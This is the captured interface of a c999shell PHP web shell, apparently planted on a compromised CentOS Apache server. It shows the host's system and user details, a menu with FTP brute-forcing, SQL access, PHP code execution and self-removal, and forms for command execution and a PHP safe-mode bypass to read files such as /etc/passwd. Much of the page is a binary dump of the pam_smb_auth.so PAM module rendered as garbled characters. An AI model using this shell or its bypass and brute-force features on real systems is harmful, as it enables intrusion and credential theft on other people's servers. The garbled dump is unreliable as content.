!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/lib/security/   drwxr-xr-x
Free 52.22 GB of 127.8 GB (40.86%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     pam_smb_auth.so (40.16 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
ELF44 (DDDDD\d	PtdQtdC5	i@P-&B I
RDcL@!P J
 E
	qD5789;=ACEFGIJKLOPRUWXY[\_aefgijknpqrtvxy{}~B$LkEBkEr*Ƣa<i=t-%lDTE󩮋ubEBiVnGh铆m%=R样}:⶛((_`

{LH/;Ʌ+noi̷jEY<I[)}.F3,Rm'xF)Z!bIW9Y9?^%CE3X.l
8ۀo|mػ|

!Q1*݈y	TuqXJNs3?5vb6[ + 
rUq+C-HszVWp<Ka<<bhb@'[O299"x+coG_C<s2n-%Z"i=p>b
P`
%V
Ll
^
e@
&/
N(
U]
)_D
(
`:
%
dP
2p6@
a
?p
0Eo
(
c
`7
6e
]
trPc%
i` 
-l/
(
N(
od
Ou
$P2
oE
pG
P6
F
_
xp 
DI
is
3nB
\ (
]i
&cG
;k|
! n}
c6
5*
w{b;
2PW
= Qu
 ^A
 7:
c,
H
	[
Un
`(
b]
pPH
.d
m@(
@6
I0+{
p^
-%
P-X
`_<
__gmon_start___init_fini__cxa_finalize_Jv_RegisterClassessmb_readpamconffopenfgetsstrlenfclosepam_sm_setcredpam_sm_authenticatepam_get_userpam_get_item_set_auth_tokstrncpygetpwnamgetspnamstrcmp__syslog_chkValid_Userconversefreepam_set_itemSMB_InitSMB_Connect_ServerSMB_NegotiateSMB_DisconSMB_Logon_ServerSMB_Print_PktSMB_Get_Tree_MBSSMB_Get_Max_Buf_SizSMB_Get_Protocol_IDXSMB_Get_ProtocolSMB_Get_Last_ErrorSMBlib_errnoSMB_Get_Last_SMB_ErrSMBlib_SMB_ErrorSMB_TreeDisconnectRFCNB_Alloc_PktRFCNB_SendRFCNB_RecvRFCNB_Free_PktSMB_Figure_ProtocolSMB_AtrToStr__strcat_chkSMB_DOSTimToStr__sprintf_chkSMB_Get_My_NamegethostnameSMB_Get_Error_MsgstrncatRFCNB_Get_ErrorSMB_TreeConnectstrcpymallocSMB_TermSMB_Create_Con_HandleRFCNB_HangupSMBlib_Set_Sock_NoDelayRFCNB_Set_Sock_NoDelaystderrfwriteSMBlib_Statesignalgetpidgetgid__ctype_toupper_locRFCNB_CallSMB_Connect__strcpy_chkstrtokSMB_Prots_RestrictmemcpySMBencryptStrnCpystrupper__ctype_b_locE_P16E_P24E_md4hashmdfourSMBNTencryptnt_lm_owf_genmemsetcred_hash1cred_hash2__memcpy_chkRFCNB_ListenRFCNB_Get_Last_ErrorRFCNB_errnoRFCNB_Get_Last_ErrnoRFCNB_saved_errnoRFCNB_Register_Print_RoutineProt_Print_RoutineRFCNB_Get_Error_MsgstrerrorsetsockoptRFCNB_CloseRFCNB_Get_Pkt__errno_locationRFCNB_Put_PktRFCNB_Name_To_IPRFCNB_IP_ConnectRFCNB_Session_ReqRFCNB_StatsRFCNB_AName_To_NBNameRFCNB_NBName_To_ANameRFCNB_Print_Hex__fprintf_chkfputcRFCNB_Print_PktRFCNB_CvtPad_Nameinet_addrgethostbynamesocketRFCNB_TimeoutwritevRFCNB_Set_Timeoutrfcnb_alarmsigemptysetsigactionRFCNB_Discard_Rest__read_chkreadlibcrypt.so.1libc.so.6__stack_chk_fail_edata__bss_start_endGLIBC_2.0GLIBC_2.1.3GLIBC_2.4GLIBC_2.1GLIBC_2.3GLIBC_2.3.4x ii
si	ii
ii
ii
ti	ii
`dhlptx|ģȣ̣Уԣأܣ`\i_	ĤPȤl̤ФcԤ}ؤ<ܤ3m7aY] g$(
,{048v<
@DkHrLPTX\`jd5hlpt|xf|bwC^ ?!"ĥEȥ#̥$ХGԥ%إ;ܥe&'()*+,I8-./WFQJ B$0(N,1024386<D@TD4HVU$/Yhhhhh  h($h0(h8p,h@`0hHP4hP@8hX0<h` @hhDhpHhxLhPhThXh\h`hdhhhplh`phPth@xh0|h hhhhhhhh h(h0h8ph@`hHPhP@hX0h` hhhphxhhhhhhhhph`hPh@h0h hhhhhhhh  h($h0(h8p,h@`0hHP4hP@8hX0<h` @hhDhpHhxLhPhThXh\h`hdhUS[8tX[ÐUSu8t$1|ҋ|uƃ[]Í&US.ëpttp$҃[]Ë$ÐU]fu}D$$-D$ED$P$ttU$UDE|$D$P$^tFU$UDE|$D$P$0tUf1$UD<$7]u}]ÐU1]É'UWVSlEU]eE1EDžDžDžDžvDžE9tktDžDžDžDžD$D$$ut8uK
Ue3l[^_]ËiDžt$D$$k<HET$UD$T$$$t$D$$D$D$EЉ$E
$K$V::Bqt$$rt$$ue,D$D$$W`D$D$$ST$z,0uT$D$4$It6t$D$D$ T$D$$W;t$T$D$$D${tI|	eD$$UD$D$3y`D$D$$WD$D$$W`vE	D$D$$Qy`D$D$$W9LUSK$ED$ED$$u UBD$ED$ED$E$$[]Ív'UWVSl~,}EEEEEED$ED$D$<$u#EftEtu$f,[^_]ËD$<$D$MƉȅt':tv:uE$\Mt$M,[^_]ÐUWVS|}<}EEЍEԍE؍E܍EE䍃E荃E9E|$$D$rtkEЉD$4$-yD$4$<[^_]ËdtًE4$D$ED$<y?D$4$뽋E|$$D$ƸoD$4$I1끐U]Ít&'UUt]É'UUt`]É'UUtB]ÍUUtB]Í
?|U]Ð&k
|U]Ð&UWVS|{$#T81fG@qSMBEPTfAPfAXA fAMfB!fBD$#t$A@$UD$#t$B@${xuzM}ǁǁt4$f1[^_]ËtMABMAtыQADAH붋뭋@4$뇉4$i4$Kt&'U]E3zuu}9u]u}]ft541u
VtET$$u벸뫍v'UWVS,éy}ƃt+M-3D$D$4$Mt%U:D$D$4$ t%MDD$D$4$t%UN~D$D$4$t!MXtMD$D$4$ t!UetD$D$4$w[^_]Ínڐc뫍VwL?fBt&8t&UVS0U$xD$0D$ЃD$$%D$ %D$PD$Ё%\D$p4$ƃ\T$D$A0[^]Ít&U]	Æwuu}}t$<$x]u}]Ívt$D$<$ؐ&U8U]eE1w҉uu}}xKG
D$5|4$D$.D>Ee3]u}]ø
ĐGD$؃
|4$D$D>4$`9s)T$D$4$2$D$f4$4$T$)lj|$H
wvKCt&'UWVSEvu&EEE$U$M$tƍF#E$EU҉UEU@PD$M$L$D$ED$E$U1:fG@pMSMBMfBTfBPfBXB fBU@#Mfp!p#$$L$E$@Up$T$M$i@U$T$ML$ED$UB$*UT$ML$UB$q0MzB#MB!EDUMHHAHE$*E[^_]ËEE[^_]$EM$E뾉DH뇋}BE$EwEtbE$qEMEtEE$GE#E$MiM$둋M$뮍UWV1SUÁrׅ$Gt0GuN#mMMEnE$EU1:fG@rMSMBMfBTfBPfBXB MfBUfp!t=}p#MD$F$$~}t0GEuϋUMuT$L$F$PUMuT$L$F$nUx@!fUMBD$$uF	MB <
t<u4$?1[^_]ËuB#dlB%d`B'pB)tB+hB-|B5R7E䉖=AMD$OD$=$FuB#d胦dlB(`B$pB&tB,xB0|B@ERBEAMD$OD$E$EnE#6@M$[u4$:E$lE$KE$*$ÐU1]É'nU勁1]fUuu]`nF$Eu4$p]1u]USE%nD$E@$mx1[]ËD$*D$D$$w1[]Ít&'US>ûmD$$
r1[]ÍUWVSEUmmue
M1Ʌ0,8P81@@dƀƀT8@Ƃ,<$L$8t$,$88|ǂ|UNIX@ of @some@ typf@eǂSMBlǂH@ib L@M2.1@ min@us a@ bit@ǂD4$D$PE8ǁ\8ǂXTP8LE(%t&,T(D,w$9w1PD8>4$S9wƄP8:uV8<\L$|$D$($8Bt]Me3
8um[^_]Ë@<$8Dž8룋0tDž87$ٍ&UWVS<EMUjjuEeU1҉ɉ1D$$t$ud$T$$ƁTƀǀ,STAFfǀ0F|ǂ|UNIX@ of @some@ typf@eǂSMBlǂH@ib L@M2.1@ min@us a@ bit@ǂD$D$P
ǁ\hǂXTPWLD$P4$D$D$4$D$${P!xTDw$9w1ƄP/>$9wƄ:\L$|$D$$'Bt\D$$2DžMe3
<[^_]ËkDž$DžsD$D$T$$D$/ $]3t&UWVSEU]fue
M1Ƀx<8pD$t$4$b<E4lTTT! t€u
Tҋ<T4)TTzX<,8`|\$<`$,\$tX4N7P$LL
81fGL@sLSMB<fBTfBPfBXB 
fBL@!Tf@#fP)Tf@%f@'@+fP/@1fp5L4X1T$D$74$X8t4$D$/8$`p4$L$`$\p4$T$\$0PLT$<L$B$6PL<D$T$A$-LzB%u"B<LX$1fUe3[^_]Ðt&T$D$4$<DžTDžXzA<<<,@8|HD$f@$VD$tDƋH$4X4N=P$LL81L@sLSMB<fBTfBPfBXB 
fBL@!Tf@#fH/f@%f@'f@)@+f@1@3@7fp;4ƋX=4$T$D$8XL$4$S8$@p4$T$+@$pD4$D$D$Hp4$L$H$0B$gQ;-L$L$	UWV}uMt(u&tu^_]^_]Í&UWVS}&ã_7tGEwt*UDptwuփ[^_]ÐUXE]3_uuEeE1ẺEE}}EEEEEEEEEfED$D$4$T4$lE4$D$=E|$D$E$Ee3u
]u}]+t&UWVSY^,E$"=}1ffu"'&}9f„fOt9ufDŽu1ftf<BuD$E|$$,[^_]ÍT랍&'UH]f]eE1EۉEЉD$Euu}}E$EEEEEEЉ|$t$$*Ee3u
]u}]*&U]F\eE1Euu}}D$D$n`$#FFF`t$$`ƅ|$GGG`|$$`D$D$$vEe3u
]u}])UWNjEVօ~1ҋD0:;Uu^_]Í&UWV΃`eE1ɉU~9U1ɉUE:U9u1ҋM
:9uEe3u`^_]q(UW}Vօt<89uЋUt‹E49u^_]Ív'UWNjEVօ~122
:;Uu^_]Ð&UWVSeE1ÌZEA	ЈEQA	ЈEQA	ЈEQA	ЈEQA	ЈEQA?	ЈEAUEd	u1:ƃ)Ћ)D5@ux$8kM̺|D2|D
uE0҉D2
uꍅ@\tl7||lD$$Fl$00;u@|$@YEpD2D
D2D
!uڋtp\P0x|1p1$0p$0iBЃDuuʋDžDžhW	ЋWG	G	G	‹ыh4u샅hu14A&ʃDuuƋ<x$ Px$ "D
D
!uD
D
!uヅ09D$ $ P$@1u1<t,:ƃ)Ћ)@uEe3uĜ[^_]4"t&UWV }ueE1E‰EEKEGESE!E@E#E$E%UFOEe3u ^_]Ðt&!t&'UuEu}}E‰UNGUNGu}]x&U(}E}UuuEeE1AEO	4Ee3u
u}]	!'U(]E6óSUuu}}EeE1FEEe3u
]u}] U!‰V!^	]Í'UVƉ!	!^	]Í'U1‰1]Ðt&Uщ]Í&UWVSURuDDuXE2Eo(EI(,E#(,0E,0(E04t,E48N0E48<$Ee8<4E?<@8E@D<E@DHEDHLf@EHLP<DEyLPTHEOLPƋEyZTPTXEčyZ$X$Uԉ\TyZ\ X	 X\`E䍴0yZ`H
kU\ƋXyZ`9Uȋ`d\yZd`hE؍yZdh	U苍d2yZhlj
dhƋEyZl8[hlpE̍yZpU܉tlyZtp	ptxE썴0yZx
UtƋpyZxTwUЋx|tyZ|8xEEyZ|E	U|2yZUE
|MƋEnUUMEEԍnEx	xUĉEEnEUEEMUEE䍴0nEUMƋEnUU܋MEEnE	UEE̍nUEUM2nUEfiUMƋEnU=@UMEE؍nE
	
UȉEEnEUMUNjE荴0nUMEEnEUƋEnUY	YMEEЍ8nE/2EUEnUEEE[^_]Ít&UWVfTD	D	D	‰Tu^_]Í'U]PPPÍ&UWVSE0IuEǃ#EgeE1@ 0ǃǃܺǃvT2~+@@@1p8=uD$t$<$D$(7Ƅ5p EM18=u`wcEe3ǃǃǃǃuO[^_]Ë E~Ue{U]Ít&'kGU]Ð&KFU]Ð&+FUU]Ðt&USEU5òFT$1)ЋD$E$ٻ[]
U(]fFuu~K$ֺD$4$D$D$D$\D$譾]u]Ë4$D$]u]Ív'USED$EAþED$D$D$$&[]ÍUuu]pEt$|4$脻]1u]Ít&U}}]賿0Eutt$臽t@EFE<$t$D$ux9F4$@]u}]Ëϋ܍'U]	ÆDu}}$ۼtaEFBBBGD$Et$$xDF4$w]u}]Ít&.˿č&UWVS<EFCuE$覻^}@@@@:裷EEE܉D$<$NUE$.EBM~JFPVL$E$oED$U܍ED$T$ED$U4$T$誺UxiUu<[^_]Ë}0t&F$覻E:ϐt&VVkE4$x<1[^_]Ëm1tUW}VuT9ЃAADNTNuF ^_]Ðt&UW}VuTNDNQˆT9uG^_]Ív'USËAE$1[]Ít&'UWVSuֻSAt$t&~t$c4$Yu[^_]É'U]艻A}}u$tX@xu]u}]Ít&<$輸uߋ4$1븋1輴뙍UWVS\EֺS@eU1҉EE1ɉE}4}EW9~+E93E@E)UE}EW9~+E1~͋U}8}UD
ψT)Ѓ yEωD$SD$EED$$D1J~)EωD$SD
D$ED$$U$
T$]}e3=u\[^_]PUXuEu]耹>Eĉ}}ủt$ueE1[D$D$4$菳<O<ZQAu	AD$4$	T$D$4QA	A	W$t$D$(D$$<QAu	A4$D$	T$D$袲E߉EȉD$$軳uȉD$ED$t$$gt$'$膳t$uĉD$D$4$5:QA	A	‰T$D$ED$$ue35@]u}]QA	AD$	iD$EĉT$$袱uD$(D$|$4$EwuQA	A|$D$	ƒT$(D$Eĉ$U<QA	A	xT$QA	A	PT$pAD$	UWV1SJ;E}$萲E9uCA~"Uƒ(ȃAAwDwuG [^_]Í'UXEU]õ@;EЋEŰU}uEȋEUċU$HEUeE1ou"Ue3]u}]Ë0FFFFDF F& Ũ'D$$9Eȉt$$*UD$H|$$cxEEԍEԉD$EEED$$ѳPUt/18"ME<w

UUEEU1ut&U(]ٳV9uu}}4$|Et1]u}]É4$+t
@1ڋ9븍t&U8]Y8u}}eE1D$D$$xaEUEEEEfEfD$fET$4$ȬxBUe3u/]u}]ËhN4$芯	ϐUWVSlEf7M1M
BMMM9M~
)40uMDEDM9MtRt	u봋EE~$`UMt$T$$hx[9E-~$+l[^_]ÍE1EEK8t1"M‹A:uϋ͐UVS=ú60Uҋ~Jllp$ϪED$t$$螬x1ҁ0[^]ÍvUS辰;6D$D$D$$設[]Í&'UWVSEc5}eU1҅~gƍEE)ƅ~WdD$dvdUD$T$$>̃豩1Ue3uČ[^_]~&'UWVS,E覯#5ueU1҃}E}~$UD$|$$豪Em}tσ}EEE	EE	E܋EU9UU}	EEE؉9FG9EE/D$T$Uԋ$~zE؅tG1)uMʋE܃;E~$EU؉|$$T$虪Ue3E,[^_])8t@E뮋~0U+E؉$D$;E덋蓧8tiEQ{P8t&뻋E
US>û2UVSÚ2dp@tЋu[^]ÐUS[d2DY[r/etc/pam_smb.confdebuguse_first_passnolocallogin: xpam_smb: Unknown Command Line Option in pam.d : %spam_smb: Local UNIX username/password pair correct.pam_smb: Local UNIX username/password check incorrect.No Local authentication done, relying on other modules for password file entry.pam_smb: Missing Configuration file : /etc/pam_smb.confpam_smb: Configuration Data, Primary %s, Backup %s, Domain %s.pam_smb: Correct NT username/password pairpam_smb: Incorrect NT password for username : %sPassword: PC NETWORK PROGRAM 1.0MICROSOFT NETWORKS 1.03MICROSOFT NETWORKS 3.0SambaNT LM 0.12NT LANMAN 1.0Read Only RHidden HSystem SVolume VDirectory DArchive A%2d/%02d/%2d %2d:%02d:%02dunknown
	Function not yet implemented.No such error code.DOS LANMAN1.0DOS LM1.2X002DOS LANMAN2.1Request completed sucessfully.Server returned a non-zero SMB Error Class and Code.A lower layer protocol error occurred.The protocol negotiated does not support the request.No space available for operation.One or more bad parameters passed.None of the protocols we offered were accepted.The attempt to send an SMB request failed. See protocol error info.The attempt to get an SMB response failed. See protocol error info.The logon request failed, but you were logged in as guest.The attempt to call the remote server failed. See protocol error info.The protocol dialect specified in a NegProt and accepted by the server is unknown.Setting no-delay on TCP socket failed ...
/\A:

	

	
	
	

	



	

	

	
	

	

	


	
	


	
	


	

	

	

	
	

	

	
	

	


	

	


	

	

	

		



	%s
	errno:%sRFCNBE_OK: Routine completed successfully.RFCNBE_NoSpace: No space available for a malloc call.RFCNBE_BadName: NetBIOS name could not be translated to IP address.RFCNBE_BadRead: Read system call returned an error. Check errno.RFCNBE_BadWrite: Write system call returned an error. Check errno.RFCNBE_ProtErr: A protocol error has occurred.RFCNBE_ConGone: Connection dropped during a read or write system call.RFCNBE_BadHandle: Bad connection handle passed.RFCNBE_BadSocket: Problems creating socket.RFCNBE_ConnectFailed: Connection failed. See errno.RFCNBE_CallRejNLOCN: Call rejected. Not listening on called name.RFCNBE_CallRejNLFCN: Call rejected. Not listening for called name.RFCNBE_CallRejCNNP: Call rejected. Called name not present.RFCNBE_CallRejInfRes: Call rejected. Name present, but insufficient resources.RFCNBE_CallRejUnSpec: Call rejected. Unspecified error.RFCNBE_BadParam: Bad parameters passed to a routine.RFCNBE_Timeout: IO Operation timed out ...    %s
RFCNB Pkt %s:SESSION MESSAGE: Length = %i
sentSESSION REQUEST: Length = %i
  Called Name: %s
  Calling Name: %s
   Error = %x
RFCNB SESSION ACK: Length = %i
RFCNB SESSION REJECT: Length = %i
   Protocol Error, short Reject packet!
RFCNB SESSION RETARGET: Length = %i
RFCNB SESSION KEEP ALIVE: Length = %i
4J`0123456789ABCDEFIO Timed out ...
;Ox8(X8tXxء<H`ȥhȦhX,hHdȯ8xxH<\((X(HHh8(D`|H	0	L	8h		(	x		h
((
H
(h
h



(,Pt88zR| AB
FNH@AD
\AB
I|VAB
AAB
C/AB
CȝAB
AG
AG
,ĝAG
HȝAG
d̝LB
НLB
ԝAB
C tAB
FQF{AB
C@AB
E  XAB
FNF D%AB
L[FhdAB
F XAB
BF$AD
LB
@AB
FF<eAB
D :AB
A<AB
I\AB
I|bAB
IԷIAB
BoAB
F TAB
IN]AB
C  AB
FfF D\AB
I\Fh8)AB
AFHoAB
ACFAB
ADȻ(AB
AFػAB
IxuAB
E(HAB
FIHWAB
FL hHuAB
FTFAD
AAB
AAD
	AD
,	AD
HCAG
AC<AB
XAB
IxAB
LB
LB
LB
AAB
DAB
FN$|DAB
D@<AB
FF `AB
FFN \AB
FQAB
F;AG
AD6AG
AD%AB
A$GAB
F DAB
FNFhPAB
F @AB
FIQ sAB
BC PAB
L] |AB
FNF 	xAB
FQ<	D/AB
F\	T}AB
B|	BAB
A	AB
I	dAB
Fuu0vzuXvvvvwLwwwxuP|<(T̃LԄx
trot
Dloooo.*:JZjz
*:JZjz
*:JZjz
*:JZjz
*:JZjz
*:JZjzPtttuuuuuuttut91)!	:2*"
;3+#<4,$?7/'>6.&=5-%


)4%/7(3-!0,1'8"5.*2$ :2*"
<4,$>6.&@80( 91)!	;3+#=5-%
?7/' 		


 
 	
(08@ '/7?&.6>%-
5=$,4<#+3;"*
2:!)	19pam_smb_auth.so.debug.shstrtab.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.text.fini.rodata.eh_frame_hdr.eh_frame.ctors.dtors.jcr.data.rel.ro.dynamic.got.got.plt.data.bss.gnu_debuglinkott`%o2oA	llJ	DD	SNYS_trtrerrG m{ll	DDLLTT`` 4h``@  

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0068 ]--